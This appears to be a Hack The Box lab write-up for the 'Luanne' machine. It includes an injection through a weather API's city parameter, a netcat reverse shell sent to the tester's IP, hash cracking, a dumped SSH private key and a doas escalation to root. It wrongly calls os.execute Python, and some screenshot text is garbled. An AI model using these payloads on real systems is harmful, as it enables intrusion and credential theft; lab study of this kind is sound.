Luanne

10.129.53.206



InfoGathering

SCOPE

Hosts 								
address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.129.53.206			NetBSD			device		

SERVICES

Services					
host 	port	proto	name	state	info
10.129.53.206 10.129.53.206 10.129.53.206	22 80 9001	tcp tcp tcp	ssh http http	open open open	OpenSSH 8.0 NetBSD 20190418-hpn13v14-lpk; protocol 2.0 nginx 1.19.0 Medusa httpd 1.12 Supervisor process manager

SSH

PORT	STATE SE	RVICE				
22/tcp	open ss	sh				
ssh-a	uth-meth	nods:				
Sup	ported a	authenticati	lon metho	ds:		
_ P	ublickey	/				
ssh-h	ostkey:					
307	2 20:97:	:7f:6c:4a:6e	e:5d:20:c	f:fd:a3	3:aa:a9:0d:37	:db (RSA)
521	35:c3:2	29:e1:87:70:	6d:73:74	:b2:a9	:a2:04:a9:66:	69 (ECDSA)
256	b3:bd:3	31:6d:cc:22:	6b:18:ed	:27:66	:b4:a7:2a:e4:	a5 (ED25519)
ssh-p	ublickey	/-acceptance	:			
_ Acc	epted Pu	ublic Keys:	No publi	.c keys	accepted	

HTTP

HOME PAGE: http://10.129.53.206/index.html



Welcome to nginx!

If you see this page, the nginx web server is successfully installed and working. Further configuration is required.

For online documentation and support please refer to <u>nginx.org</u>. Commercial support is available at <u>nginx.com</u>.

Thank you for using nginx.

LOGIN PAGE: http://10.129.53.206/



401 Unauthorized

/index.html:

No authorization

127.0.0.1:3000

The robots.txt file contained a URI /weather

User-agent: * Disallow: /weather #returning 404 but still harvesting cities

I fuzzed after the weather URI and discovered /weather/forecast

I executed a curl request and discovered I am communicating with an API

Commands Executed curl luanne.htb/weather/forecast.htb curl luanne.htb/weather/forecast?city=list curl luanne.htb/weather/forecast?city=London

SCREENSHOT EVIDENCE OF API COMMUNICATION

root@kali:~/HTB/Boxes/Luanne# curl luanne.htb/weather/forecast
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
root@kali:~/HTB/Boxes/Luanne# curl luanne.htb/weather/forecast?city=list
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","
root@kali:~/HTB/Boxes/Luanne# curl luanne.htb/weather/forecast?city=London
{"code": 200,"city": "London","list": [{"date": "2020-12-01","weather": {"description": "snd
degree": "102.76822959445"}}},{"date": "2020-12-02","weather": {"description": "partially cl
,"degree": "262.63571172766"}},{"date": "2020-12-03","weather": {"description": "sunny","temperature
755226741"}}},{"date": "2020-12-05","weather": {"description": "partially cloudy","temperature
89152945159"}}}]root@kali:~/HTB/Boxes/Luanne#|

In my enumeration earlier I discovered port 3000 was open locally which may indicate a SQL database is queried through this API

This turned out to not be the case.

http://luanne.htb/weather/forecast?city=%%% http://luanne.htb/weather/forecast?city=London'

When I sent these URLs I could see in Burp they were being encoded before being sent



	Authentication Required - Mozilla Firefox		×
R	http://10.129.53.206:9001 is requesting your username and password. The site says: "defa	ault	Ø
User Name:)
Password:			
	Cancel OK		

Gaining Access

I was able to discover that I could terminate the query on port 80 using the weather API and execute commands through python

Commands Executed
curl http://luanne.htb/weather/forecast?city=%27%29%3Bos.execute%28%22whoami%22%29-curl http://luanne.htb/weather/forecast?city=%27%29%3Bos.execute%28%22id%22%29--

Using the os.execute python module I can execute bash commands I URL encoded a netcat reverse shell

```
# Encoded Data
forecast?city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.83 1336 >/-
tmp/f")--
```

I started a Metasploit listener

```
# Commands Executed
msfconsole
use multi/handler
set LPORT 1336
set LHOST 10.10.14.83
set payload linux/x64/shell_reverse_tcp
run
```

With the listener going I executed the reverse shell payload

Command Executed
curl http://10.129.53.206/weather/forecast?city=London%27%29%3Bos.execute%28%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.83%201336%20%3E%2Ftmp%2Ff%22%29--

SCREENSHOT EVIDENCE OF CONNECTION

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.83:1336
[*] Command shell session 1 opened (10.10.14.83:1336 → 10.129.53.206:65472)
\$ id

```
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
$ hostname
```

luanne.htb

Inside the /var/www/html/.htpasswd file is a password hash for the web api user

Commands Executed
cat /var/www/html/.htpasswd
RESULTS
webapi_user:\$1\$vVoNCs01\$1MtBS6GL2upDbR40whzyc0

I was able to crack the hash using John the Ripper

```
# Commands Executed
echo webapi_user:$1$vVoNCs01$1MtBS6GL2upDbR40whzyc0 > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
# RESULTS
iamthebest
```

SCREENSHOT OF CRACKED PASSWORD

root@kali:~/HTB/Boxes/Luanne# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) \$1\$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest (webapi_user)
1g 0:00:00 DONE (2020-12-01 12:39) 33.33g/s 102400p/s 102400c/s 102400C/s secrets..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/HTB/Boxes/Luanne# john --show hash.txt
webapi_user:iamthebest

1 password hash cracked, 0 left

I was able to use this password to sign into the site <u>http://10.129.53.206/</u> USER: webapi_user PASS: iamthebest

SCREENSHOT OF SUCCESSFUL LOGIN

Weather Forecast API

List available cities:

/weather/forecast?city=list

Five day forecast (London)

/weather/forecast?city=London

I discovered a second locally available port on port 3000 and 3001

SCREENSHOT EVIDENCE OF RESULTS

<pre>\$ netstat</pre>	: -nat	gre	p LISTEN		
tcp	0	0	127.0.0.1.3000	*.*	LISTEN
tcp	0	0	127.0.0.1.3001	*.*	LISTEN
tcp	0	0	*.80	*.*	LISTEN
tcp	0	0	*.22	*.*	LISTEN
tcp	0	0	*.9001	*.*	LISTEN
tcp6	0	0	*.22	*.*	LISTEN

I connected to port 3000 and 3001 to see what they are

SCREENSHOT EVIDENCE OF RESULTS

\$ nc 127.0.0.1 3000 GET / HTTP/0.9 401 Unauthorized WWW-Authenticate: Basic realm="." Content-Type: text/html Content-Length: 201 Server: bozohttpd/20190228

<html><head><title>401 Unauthorized</title></head> <body><h1>401 Unauthorized</h1> /: No authorization <hr><address>luanne.htb:3000</address> </body></html>

\$ nc 127.0.0.1 3001 GET / HTTP/0.9 401 Unauthorized WWW-Authenticate: Basic realm="." Content-Type: text/html Content-Length: 201 Server: bozohttpd/20190228

<html><head><title>401 Unauthorized</title></head> <body><h1>401 Unauthorized</h1> /: No authorization <hr><address>luanne.htb:3001</address> </body></html>

I can see that I need to authenticate to port 3000 and 3001 in order to communicate with them.

Since they are both HTTP I can use Curl to authenticate in my request

I was also able to see in /var/log/processes_stdout.log that the web api is running as r.michaels

SCREENSHOT OF RESULTS

\$ cat	process	ses_st	dout.	log					
USER	PID	%CPU	%MEM	VSZ	RSS TTY	STAT	STARTED	TIME	IE COMMAND
root	0	0.0	0.8	0	8668 ?	DKl	9:31AM	0:00.46	6 [system]
root	1	0.0	0.2	19848	1588 ?	Ss	9:31AM	0:00.01	1 init
root	164	0.0	0.2	32540	2276 ?	Ss	9:31AM	0:00.01	1 /usr/sbin/syslogd -s
root	306	0.0	0.1	22184	1508 ?	Is	9:31AM	0:00.00	0 /usr/sbin/powerd
root	347	0.0	0.3	71344	2920 ?	Is	9:31AM	0:00.00	0 /usr/sbin/sshd
root	427	0.0	0.2	20216	1648 ?	Ss	9:31AM	0:00.00	0 /usr/sbin/cron
_http:	d 468	0.0	0.2	34952	1972 ?	Is	9:31AM	0:00.00	0 /usr/libexec/httpd -u -X -s -L webapi /home/r.michaels/lua/webapi.lua -U _httpd -b /var/www
		0 0	• •	50100	1100 0		010148	0.00 01	a atalum 1 a until u

Using the API I may be able to read files in r.michaels home directory

The way that bozohttpd works is HTTP requests are read as standard input and returned as standard output.

All files are read from the / directory. This is excluding the ~user translation **REFERENCE**: <u>https://manned.org/bozohttpd/9a8c3e7e</u>

Usually private ssh keys are named id_rsa.

I could not find any passwords for r.michaels however I was able to read his SSH key in his home dir. This was unusual as this file is typically in the .ssh folder

Command Executed
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa

SCREENSHOT EVIDENCE OF RETURNED SSH KEY

1						. //107 0	0 1.000	1 /	1-/:-	
curt	usei	r wei	papi_user	:lamtneb	est nttp	://12/.0	.0.1:300	01/~r.micna	aets/10	_rsa
%	lotal	%	Received	% Xferd	Averag	e Speed	lime	lime	lime	Current
					DLoad	Upload	lotal	Spent	Left	Speed
100	2610	100	2610	0 0	637k	0 -	::	:	::	- 637k
	-BEGIN	OPE	NSSH PRIV	ATE KEY-						
b3Bl	bnNzaC:	1rZXI	<tdjeaaaa< td=""><td>ABG5vbmU/</td><td>AAAAEbm9</td><td>uZQAAAAA</td><td>ааааваал</td><td>ABlwAAAAdz</td><td>c2gtcn</td><td></td></tdjeaaaa<>	ABG5vbmU/	AAAAEbm9	uZQAAAAA	ааааваал	ABlwAAAAdz	c2gtcn	
NhAA	AAAwEA	AQAA	AYEAvXxJB	bm4VKcT2I	HABKV2Kz	h9GcatzE	EJRyvv4A4	Aalt349ncfi	DkMfFB	
Icxo	9PpLUY:	zecw	dU3LqJlzj	Fga3kG7V	dSEWm+C1	fiI4LRwv	//iRKyPP\	FGTVWvxDXI	FTKWXh	
0Dpa	B9XVjg	gYHMı	r0dbYcSF2	V5GMfIyxH	HQ8vGAE+	QeW9I0Z2	2nl54ar/1	[/j7c87SY59	∂uRnHQ	
kzRX	evtPSU)	Xxyt	fuHYr1Ie1	YpGpdKqY	rYjevaQR	5CAFdXPo	bMSxpNxF	FnPyyTFhAb	zQuchD	
ryXE	uMkQOx	sqea	nzonomJS	uJMIh4ym	7NkfQ3eK	aPdwbwpi	LMZoNRel	JkBqvsvSBp	ANVuyK	
BNUj	4JWjBpo	o85l1	rGqB+NG2M	uySTtfS8	lXwDvNtk	/DB3ZSg5	OFoLØLKZ	ZeCeaE6vXQI	R5h9t8	
3CEd	S08yVr	cYMP1	LzVRBcHp0	0DdLk4cC	tqj+diZm	R8MrXokS	R8y5XqD3	3/IdH5+zj1	BTHZXE	
pXXq	VFFB7Ja	ae+Lt	tuZ3XTESr	VnpvBY48	YRKQXAmM	VAAAFkBj	iYH6gY2B+	+oAAAAB3Nza	aC1yc2	
EAAA	GBAL189	SQW51	JFSnE9hwA	Sldis4fR	nGrcxCUc	r7+AAGpb	d+PZ3Hw5	5DHxQSHMaP	T6S1GM	
3nMH	VNv6iZ	c4xY(Gt5Bu1XUh	FpvgtX4i	DCØcL/4k	Ssiz7xRk	(1Vr801xl	Jvll4dA6Wg	FV1Y4I	
GBzK	9HŴ2HEI	hdle	RiHvMsR0P	LxgBPkHl	/SNGdp5e	eGa/vP4+	-3POØmOft	okZx0JM0V3	r7TØlF	
8crX	7h2K9SI	HtWK	RaXSamK2T	3r2kEe0g	BXVz6GzE	saTcRZz8	skxY0G8	0LnI0681xL	iJEDsb	
Knmr	586 16 1	iUri		HØN3imi3	G8KYizG	aDUX1.JAa	r71 0ga0[)VhsigTVT+(CVowaa	
P07a	xnofiR	tilsl	ck7X0v1V8	A7zh7Pww	d2Uo0Tha	CQCvmXon	mhOr10Fe	VfhfNwhHU	ivMla3	
GDD5	c1UOXB	6dNA	RS50HArao	/nYm7kfD	(16]FkfM	uV6g9/vH	IR+fs4901	1x2VxKV161	ROevW	
nvi7	hmd10x	Fa17(5bwW0PGE7	FFwliEOA	AAAMRAAF	ΔΔΔGΔStr	odgySV0	7Rt iUSTERE	73vHdm	
XGVO	wGclEil	KV11				hS1X6W1a	WVSEELD	H73bW±msH	Ac P2D1	
7KEL	VSXNBT	5mPI l	fl cdvUH5	1 iKPl nm6	WalekMr	VM3//7CXn	7bg2iKW		i_XVD	
		CADat		Jwdy61 pz	4 V 5 A C K M 1 m 7		PONan7is			
02/9	NUTAON		Tivssimn				JamC1fd+0		LOVGED	
NdDo				CitwoMKz		AOEi CN+	Ignici i du	Jum Tim 1 DDo	Weren	
NUBe		DUKE	INCA YOU	MOTEFUEL		46/m70c0	ugniu4F10	JUWI IWIDPP	+W0+Su	
0024	DQU1471			MULEFVOT		J04111/USR	Calson2v2			
Pm/+	отрена	HLCN(83HX9CJZI	FYQ4NIKW	UTVZDPM1	L+Y5N03YM		NZAAAA	
WFXO	хасоны	6383	TUP90YNSZ.	XW/Ft8ig	KKTKK/6L	AYCDITP/	wunjnzci		ovnope	
Lmya	DN2 LPPI	D3ZR1	tRJ50/sLe	e68xZHr0	91/U1WJ+	mvBHzve3	SDVLL0ZML	BXCK00J++:	13FW0V	
+zt0	M/3Wmm	LSER	52GOCFPXZ	0L2uVFve	BPtNpJvy	3MxaYl/z	WZKKVIX	tqu+WXXpFx)	KOP9qc	
f2jJ	om8mmRI	LvGF(DeØakCBV2	NCGq/nJ4l	bn0B9vue	xwEpxax4	QAAAMEA4	44eCmj/6ra/	ALAYc0	
D1UZ	wPTuJH	Z/89	jaET6At6b	iCmfaBqY	uhbvDYUa	9C3LfWsq	1+07/S7kl	1HSPX0JD0D	jXAIZk	
N+59	o58CG82	2wvG	l2RnwIpIO	IFPoQyim,	/T0q0FN6	CIFe6csJ	Jg8RDdvq2	2NaD6k6vKSI	k6rRgo	
IH3B	XK8fc7l	hLQw	58o5kwdFa	kClbs/q9	+Uc7lnDB	mo33ytQ9	pqNVuu6r	1xZqI2lG880	QvWjPg	
nUtR	pvXwMi(0/QMI	LzzoC6TJw	zAn39GXA/	AAAwQDVM	hwBL97HT	[hxI60in]	[1SrowaSpMI	LMbWqq	
189z	IG0dHf\	VDVQ	3CXd2Rng1	5eN5WnsW	2LL8iHL2	5T5K2yi+	hsZHU6j	JØCNuB1X6I	ГuHhQg	
QLAu	GW2Eaxe	ejWH∖	/C5gTh7jw	K6w0wQAr	JhU48h6D	Fl+5PU08	KQCDBC9	VaGm3EVXbPv	vXlzp9	
90Gm	TT9Agg	BQJhI	LiXlkoSMR	eS36EYkx	EncYdWM7	zmC2kkxF	PTSVWz941	[87YvApj0v	epuB7b	
45bB	kP5x0h	rjMA/	AAAVci5ta	WNoYWVsc	0BsdWFub	mUuaHRiA	QIDBAUG			
	-END O	PENSS	SH PRIVAT	Е КЕУ	_					

I then placed the discovered SSH Key into a file, modified its permissions and tried to sign in using SSH

Commands Executed
vi rmichaels.key
chmod 600 rmichaels.key
ssh r.michaels@10.129.53.206 -i rmichaels.key

CONTENTS OF rmichaels.key

-----BEGIN OPENSSH PRIVATE KEY----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh



SCREENSHOT EVIDENCE OF SSH ACCESS

```
:~/HTB/Boxes/Luanne# ssh r.michaels@10.129.53.206 -i rmichaels.key
The authenticity of host '10.129.53.206 (10.129.53.206)' can't be established.
ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.53.206' (ECDSA) to the list of known hosts.
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$ hostname
luanne.htb
luanne$ ip a
ksh: ip: not found
luanne$ ifconfig
vmx0: flags=0×8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        capabilities=7fd80<TS04,IP4CSUM_Rx,TCP4CSUM_Rx,TCP4CSUM_Tx>
        capabilities=7fd80<UDP4CSUM_Rx,UDP4CSUM_Tx,TCP6CSUM_Rx,TCP6CSUM_Tx>
        capabilities=7fd80<UDP6CSUM_Rx,UDP6CSUM_Tx,TS06>
        enabled=0
        ec_capabilities=7<VLAN_MTU,VLAN_HWTAGGING,JUMBO_MTU>
        ec_enabled=2<VLAN_HWTAGGING>
        address: 00:50:56:b9:03:98
        media: Ethernet autoselect (10Gbase-T)
        status: active
        inet 10.129.53.206/16 broadcast 10.129.255.255 flags 0×0
        inet6 fe80::b1f1:ef1c:65c1:28c4%vmx0/64 flags 0×0 scopeid 0×1
        inet6 dead:beef::8164:7568:275:5bdf/64 flags 0×0
lo0: flags=0×8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 33624
        inet 127.0.0.1/8 flags 0×0
        inet6 :: 1/128 flags 0×20<NODAD>
        inet6 fe80::1%lo0/64 flags 0×0 scopeid 0×2
```

I was then able to read the user flag

Command Executed
cat ~/user.txt
RESULTS
ea5f0ce6a917b0be1eabc7f9218febc0

SCREENSHOT EVIDENCE OF USER FLAG

luanne\$ cat ~/user.txt ea5f0ce6a917b0be1eabc7f9218febc0

USER FLAG: ea5f0ce6a917b0be1eabc7f9218febc0

PrivEsc

In my enumeration I discovered r.michaels has doas permissions for the root user

SCREENSHOT EVIDENCE OF PERMISSIONS

luanne\$ cat /usr/pkg/etc/doas.conf
permit r.michaels as root

I executed the sh command with doas to become the root user

SCREENSHOT EVIDENCE OF ROOT ELEVATION

luanne\$ doas -u root /bin/sh Password: # id uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm) # hostname luanne.htb # ip a sh: ip: not found # ifconfig vmx0: flags=0×8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 capabilities=7fd80<TSO4,IP4CSUM_Rx,TCP4CSUM_Rx,TCP4CSUM_Tx> capabilities=7fd80<UDP4CSUM_Rx,UDP4CSUM_Tx,TCP6CSUM_Rx,TCP6CSUM_Tx> capabilities=7fd80<UDP6CSUM_Rx,UDP6CSUM_Tx,TS06> enabled=0 ec_capabilities=7<VLAN_MTU,VLAN_HWTAGGING,JUMBO_MTU> ec_enabled=2<VLAN_HWTAGGING> address: 00:50:56:b9:03:98 media: Ethernet autoselect (10Gbase-T) status: active inet 10.129.53.206/16 broadcast 10.129.255.255 flags 0×0 inet6 fe80::b1f1:ef1c:65c1:28c4%vmx0/64 flags 0×0 scopeid 0×1 inet6 dead:beef::8164:7568:275:5bdf/64 flags 0×0 lo0: flags=0×8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 33624 inet 127.0.0.1/8 flags 0×0 inet6 ::1/128 flags 0×20<NODAD> inet6 fe80::1%lo0/64 flags 0×0 scopeid 0×2

Commands Executed
cat /root/root.txt
RESULTS
7a9b5c206e8e8ba09bb99bd113675f66

SCREENSHOT EVIDENCE OF ROOT FLAG

cat /root/root.txt

7a9b5c206e8e8ba09bb99bd113675f66

ROOT FLAG: 7a9b5c206e8e8ba09bb99bd113675f66